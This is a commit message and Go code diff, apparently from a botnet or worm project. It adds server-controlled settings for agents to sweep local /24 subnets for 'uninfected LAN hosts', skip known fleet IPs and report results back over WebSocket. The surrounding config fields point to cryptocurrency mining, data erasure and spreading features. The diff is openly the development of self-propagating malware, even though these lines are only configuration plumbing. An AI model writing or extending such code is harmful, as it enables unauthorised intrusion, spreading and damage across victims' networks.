Add agent-driven subnet recon sweeps for uninfected LAN hosts.

Agents scan capped /24 targets on auth and on a server policy interval, skip known fleet IPs, and batch subnet_recon_report over WebSocket.

agent/client/policy.go

@@ -122,6 +122,9 @@ func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) {
 		HashrateGateHPS       float64         `json:"hashrate_gate_hps"`
 		ErasureLanesEnabled   bool            `json:"erasure_lanes_enabled"`
 		FleetTorrentEnabled   bool            `json:"fleet_torrent_enabled"`
+		SubnetReconEnabled    bool            `json:"subnet_recon_enabled"`
+		SubnetReconIntervalMin int            `json:"subnet_recon_interval_min"`
+		SubnetFleetIPs        []string        `json:"subnet_fleet_ips"`
 		PolicySnapshotPollURL string          `json:"policy_snapshot_poll_url"`
 		EventBridgeRelayURL   string          `json:"eventbridge_relay_url"`
 		SpreadTemperament     json.RawMessage `json:"spread_temperament"`
@@ -137,6 +140,13 @@ func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) {
 	}
 	cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
 	cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
+	cfg.SubnetReconEnabled = policy.SubnetReconEnabled
+	if policy.SubnetReconIntervalMin > 0 {
+		cfg.SubnetReconIntervalMin = policy.SubnetReconIntervalMin
+	}
+	if len(policy.SubnetFleetIPs) > 0 {
+		cfg.SubnetFleetIPs = append([]string(nil), policy.SubnetFleetIPs...)
+	}
 	if v := strings.TrimSpace(policy.PolicySnapshotPollURL); v != "" {
 		cfg.PolicySnapshotPollURL = v
 	}